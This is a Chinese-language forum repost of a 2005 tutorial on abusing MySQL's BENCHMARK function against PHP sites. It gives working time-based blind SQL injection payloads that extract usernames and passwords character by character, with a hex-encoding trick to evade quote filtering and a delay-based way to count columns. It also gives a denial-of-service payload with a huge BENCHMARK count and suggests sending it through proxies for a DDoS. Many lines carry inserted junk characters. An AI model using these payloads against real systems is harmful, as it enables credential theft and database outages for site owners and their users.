中国网络渗透测试联盟

标题: MYSQL中BENCHMARK函数的利用 [打印本页]

作者: admin    时间: 2012-9-15 14:03
标题: MYSQL中BENCHMARK函数的利用
MYSQL中BENCHMARK函数的利用
( u/ H. E6 `8 C& x6 Y本文作者:SuperHei+ J: c; v2 L; O& j+ _
文章性质:原创
) i2 U  l; J1 Y, P/ w" v& {9 }发布日期:2005-01-02
/ @; l  W( R( |- K, j完成日期:2004-07-09
2 l/ ?7 y0 \, X第一部
" W8 y* ~3 R6 j3 {% D6 j. E/ c+ {, Q" _) h6 s8 p: x
利用时间推延进行注射---BENCHMARK函数在注射中的利用 ( F" k( X8 P5 @; ]( p, W8 K9 b

' u7 f0 G* `1 a! S- U* N一.前言/思路
9 ?" k8 E* \- T0 ]
* {4 Z+ B, g4 M$ Y  如果你看了angel的《SQL Injection with MySQL》一文,你有会发现一般的mysql+php的注射都是通过返回错误信息,和union联合查询替换原来查询语句中的字段而直接输出敏感信息,但是有的时候,主机设置为不显示错误信息:display_errors = Off 而且有的代码中sql查询后只是简单的对查询结果进行判断,而不要求输出查询结果,我们用上面的办法注射将一无所获。我们可以采用时间推延来进行判断注射了。
+ O) O* L0 \5 s5 f) B5 G& a
: B# `% c8 P/ Q  本技术的主要思路:通过在构造的语句用加入执行时间推延的函数,如果我们提交的判断是正确的,那么mysql查询时间就出现推延,如果提交的判断是正确,将不会执行时间推延的函数,查询语句将不会出现推延。这样我们就可以进行判断注射。1 k! B( |* r# Z- O0 R

; k6 n" k) g" G$ I$ X8 G二.关于BENCHMARK函数
" L" p( p" Q  B! J6 n( f: j6 X1 p3 `9 m
  在MySQL参考手册里可以看到如下描叙: ! o* P+ t& q) H! m; P/ ?
4 W( H  T) n5 ~( e9 O7 C' l

8 U& l& O: _3 \--------------------------------------------------------------------------------4 T. j  L& g$ n& \

) p8 Y8 w6 M; O$ W" n' n' }( lBENCHMARK(count,expr) " O1 D4 W% ]0 r/ `
BENCHMARK()函数重复countTimes次执行表达式expr,它可以用于计时MySQL处理表达式有多快。结果值总是0。意欲用于mysql客户,它报告查询的执行时间。
+ I4 j2 ]5 C9 j! M, lmysql> select BENCHMARK(1000000,encode("hello","goodbye")); / k, _' q7 n: c& ^, N
+----------------------------------------------+ 4 N2 G& e9 d& a& [/ p5 |
| BENCHMARK(1000000,encode("hello","goodbye")) | ( J3 z- y- Y, w+ s5 D% ?0 Q, Y3 g
+----------------------------------------------+ / Z/ _" g) |- A% l* w7 d$ t
| 0 | . B" R% ]3 e; {5 Y: F) ~$ b
+----------------------------------------------+ " Q& w8 Y8 G( ^! v& a
1 row in set (4.74 sec)
0 P1 M1 _/ Q, c( T2 f: M" E5 ^+ K  X0 ]
报告的时间是客户端的经过时间,不是在服务器端的CPU时间。执行BENCHMARK()若干次可能是明智的,并且注意服务器机器的负载有多重来解释结果。4 l9 q. @6 x8 g* Y

2 ]3 {( M$ j: ?- r* A( b( r
1 o6 v9 f6 h" [- x0 k--------------------------------------------------------------------------------# ?7 q  L1 M+ t% a: O0 N1 H: u
' y$ ~3 B/ q: P& V
  只要我们把参数count 设置大点,那么那执行的时间就会变长。下面我们看看在mysql里执行的效果: " a8 ^( W# k1 M1 e- I+ v

' y9 t. y/ O+ t# b' j. Pmysql> select md5( 'test' ); + |7 u( X+ Y# l8 y$ R' F1 w
+----------------------------------+ ; G' O- @# K7 M0 `. |$ Q
| md5( 'test' ) | 7 o' S3 A/ _5 ]: o8 ]  s8 y
+----------------------------------+
  j+ o$ Y7 b" [8 E| 098f6bcd4621d373cade4e832627b4f6 |
8 L8 D! Y2 P) U( [5 U( x- T% F+----------------------------------+ : C* P. J4 \2 x
1 row in set (0.00 sec) 〈-----------执行时间为0.00 sec 0 S' S. B+ Z8 E% ]

# ]. W  v) b, |+ _# }mysql> select benchmark( 500000, md5( 'test' ) );
9 F) h: `  ~- q+------------------------------------+ " c" `$ ~5 ^+ S0 ?
| benchmark( 500000, md5( 'test' ) ) | 8 p3 i5 S  g- R" V7 M8 `# H8 M
+------------------------------------+ 2 S5 h' H: q4 P1 h
| 0 | / K* g! a! w: F
+------------------------------------+ # y& V3 R) b7 r4 p
1 row in set (6.55 sec) 〈------------执行时间为6.55 sec) d, y; Z/ j" e, v
' o6 d( j+ C8 n1 c3 G$ Q

# K" C" V2 a# z, i" c+ F  由此可以看出使用benchmark执行500000次的时间明显比正常执行时间延长了。 * A2 ]5 {3 {  J
0 i" q4 u3 F) h/ E2 a( I
三.具体例子
6 l- {  q( b" _, u" J6 X" d( U. c3 \( ]& h
  首先我们看个简单的php代码:  e6 w+ _; ]; o" t& s; S& o6 G

6 _3 O5 M  t) w4 K# m# U5 Y< ?php ! N0 L# v. s7 {2 b1 h! S4 z& J
$servername = "localhost";   L9 ~' ~& t, y- C; y
$dbusername = "root";
) w4 g" \( m. P) F$dbpassword = "";
" v/ N8 D+ T: _4 [+ U2 Y2 i$ S, t, n$dbname = "injection"; " Q/ K& ]( a# l) K1 l! r5 |
1 _$ M- X% ]. R
mysql_connect($servername,$dbusername,$dbpassword) or die ("数据库连接失败");
. H* u: Q) I9 ~$ N* v
+ f. l! a% `: R+ k1 L# j! f8 W5 _8 e$sql = "SELECT * FROM article WHERE articleid=$id"; " q. }* b2 I8 V: b. M0 N
$result = mysql_db_query($dbname,$sql); 2 ?& Q5 ^8 r0 r
$row = mysql_fetch_array($result);
$ T' H' d( ]  S2 R7 z0 F" N
1 [9 l  O, U5 Q0 kif (!$row) 9 X! o; D7 }5 Y$ O
{ 8 J, Q3 k2 ^, L$ t
exit; 1 j+ I1 ^9 u/ X4 G% R/ \" k
} + i! D/ s& u" Q% b
?>: Y! \0 M1 j$ x7 Q/ N; w
; P& Y# T' ~( U
, J, o1 b$ I; Z9 c$ P& \0 o& L
  数据库injection结构和内容如下:
- S4 V' I5 R8 a. A3 B  k* A# W  j! L, ~1 j' |
# 数据库 : `injection`
& R( q9 N( Y& n: {" n# ' q0 T' E1 p$ a1 g1 J$ k  ^8 D& z. N

# r, n5 I, i0 }4 \! E# -------------------------------------------------------- " a4 O  m, n6 g* w2 O& M" {1 ?

* k; m5 s( O: [# + R; q2 Y1 _4 P9 O. a
# 表的结构 `article`
3 X- g) |( E, }% R6 ^6 `8 v( P#
( L6 H% q4 ]5 m5 L: F( d" x7 ?# w* k- Q) ]4 @8 i( h, `2 A
CREATE TABLE `article` (
* T) |# u% C; z/ a$ V`articleid` int(11) NOT NULL auto_increment,
6 Y# B7 G; d. T% t' _' D1 _`title` varchar(100) NOT NULL default '', 7 O# e9 g# q; Y( Q. G3 i; O7 [  R; x
`content` text NOT NULL,
8 T* A0 C7 _9 d1 kPRIMARY KEY (`articleid`) * @9 n% b. p( a7 j- ~' @! J
) TYPE=MyISAM AUTO_INCREMENT=3 ;
) d" B; o" q( W; f: [4 j) |- \. A3 X% P7 K
#
" b; y/ Z4 v' s# 导出表中的数据 `article` " g+ u0 o& H( ~* B
# ; B5 L- g" V1 U% L

8 @6 p# ?  c- k" C/ ^. u; MINSERT INTO `article` VALUES (1, '我是一个不爱读书的孩子', '中国的教育制度真是他妈的落后!如果我当教育部长。我要把所有老师都解雇!操~'); + O# c5 A% B4 G4 U1 v& [, _# X
INSERT INTO `article` VALUES (2, '我恨死你', '我恨死你了,你是什么东西啊');
' r8 c2 f% l% `7 D! [4 n4 x& g" P
4 s  Y) {. @; G0 H9 }: |( @# --------------------------------------------------------
3 I: ~+ c5 r9 q4 O: ~) q  C
9 N& @: F  }5 c* r' ]7 x. g#
( |* Y1 W3 h9 [: A, }$ x# 表的结构 `user`
; x, G2 T& c  M1 f6 E2 \3 \. [#
1 M6 X- D' }8 V, Q/ i1 Z3 K: O
CREATE TABLE `user` (
/ w$ |1 Q2 g9 p0 ]$ _8 s. N`userid` int(11) NOT NULL auto_increment,
. a5 R% g5 f8 Q0 {0 o9 ~5 }`username` varchar(20) NOT NULL default '',
- [  `, |. t1 T( R& U8 d`password` varchar(20) NOT NULL default '', " D/ z7 V2 t. o+ Y( X
PRIMARY KEY (`userid`)
' {/ o; O3 [9 W& N. G, \# G1 K' ^) TYPE=MyISAM AUTO_INCREMENT=3 ;
  m* p, A( C0 T% C& h) [2 T4 W" u! e+ {
#
8 H6 x# Q9 y- @9 \  n# 导出表中的数据 `user`
1 c. \3 _" Q, ^! W$ {#
- G9 R; L; l' k9 q
9 |! L$ y! C7 m' m0 M# PINSERT INTO `user` VALUES (1, 'angel', 'mypass'); ! F$ x3 v! w6 a+ u
INSERT INTO `user` VALUES (2, '4ngel', 'mypass2');9 i1 F% l& L/ ]; o" I  O/ B' @

  [' N8 @7 }4 n9 @
! Z/ _/ J* m# P, a2 N  代码只是对查询结果进行简单的判断是否存在,假设我们已经设置display_errors=Off。我们这里就没办法利用union select的替换直接输出敏感信息(ps:这里不是说我们不利用union,因为在mysql中不支持子查询)或通过错误消息返回不同来判断注射了。我们利用union联合查询插入BENCHMARK函数语句来进行判断注射:, ?& G+ B% \3 [/ U

! s# \, {/ |7 d3 r- @id=1 union select 1,benchmark(500000,md5('test')),1 from user where userid=1 and ord(substring(username,1,1))=97 /** }7 W0 @" L1 v) r: f0 ^! |
2 z& n$ D0 l0 T# L2 g

' _+ r8 g2 X1 Q+ J- ?# ^( G& C  上面语句可以猜userid为1的用户名的第一位字母的ascii码值是是否为97,如果是97,上面的查询将由于benchmark作用而延时。如果不为97,将不回出现延时,这样我们最终可以猜出管理员的用户名和密码了。 大家注意,这里有一个小技巧:在benchmark(500000,md5('test'))中我们使用了'号, 这样是很危险的,因为管理员随便设置下 就可以过滤使注射失败,我们这里test可以是用其他进制表示,如16进制。最终构造如下:* S" g, u, B( {( o

( S5 ~' K4 x" ?& p  P4 N+ _; E" z8 Y- ?! Ehttp://127.0.0.1/test/test/show.php?id=1%20union%20select%201,benchmark(500000,md5(0x41)),1%20from%20user%20where%20userid=1%20and%20ord(substring(username,1,1))=97%20/*
; E! V2 W( Q  G! ^0 @: ]( [ 9 I7 U' Z( e# h2 U+ k) O) Q+ l0 ]

& {$ I* z2 D! o: B  ?  执行速度很慢,得到userid为1的用户名的第一位字母的ascii码值是是为97。
3 K' E+ _3 @# ^1 K' W7 H: K. t/ B
  注意:我们在使用union select事必须知道原来语句查询表里的字段数,以往我们是根据错误消息来判断,我们在union select 1,1,1我们不停的增加1 如果字段数正确将正常返回不会出现错误,而现在不可以使用这个方法了,那我们可以利用benchmark(),我们这样构造 union select benchmark(500000,md5(0x41)) 1,1 我们在增加1的,当字段数正确时就回执行benchmark()出现延时,这样我们就可以判断字段数了。 0 \6 \0 I2 G' q, ~& q8 }

$ A& x' p$ E! x  k$ K7 _第二部
( Y  h) U& q0 S& _
7 z, W( g. m% H$ k8 A0 R$ ]利用BENCHMARK函数进行ddos攻击
) d1 c; n- K; L! w' U4 ~4 _
) Y. _: q7 h$ d" f- H  x$ [6 `& ~  其实思路很简单:在BENCHMARK(count,expr) 中 我们只要设置count 就是执行次数足够大的话,就可以造成dos攻击了,如果我们用代理或其他同时提交,就是ddos攻击,估计数据库很快就会挂了。不过前提还是要求可以注射。语句:
" n- [* F$ A2 _1 X# r$ M
6 G( [. \% I$ p3 a% i- h9 ?http://127.0.0.1/test/test/show.php?id=1%20union%20select%201,1,benchmark(99999999,md5(0x41))
+ H8 {( O/ F& q# ?8 E1 S ) S* r; K9 M) F4 x0 O

1 `8 |; b: \6 h: t4 L小结
0 F4 I7 K7 W1 C( S9 l$ W
% \6 l/ G+ v/ j  本文主要思路来自http://www.ngssoftware.com/papers/HackproofingMySQL.pdf,其实关于利用时间差进行注射在mssql注射里早有应用,只是所利用的函数不同而已(见http://www.ngssoftware.com/papers/more_advanced_sql_injection.pdf)。关于mysql+php一般注射的可以参考angel的文章《SQL Injection with MySQL》。! u) q2 v( C+ R# A, {/ Y
6 V7 o, ?7 b3 k, K
  
$ u/ @; \- Y) c! B7 ?




欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2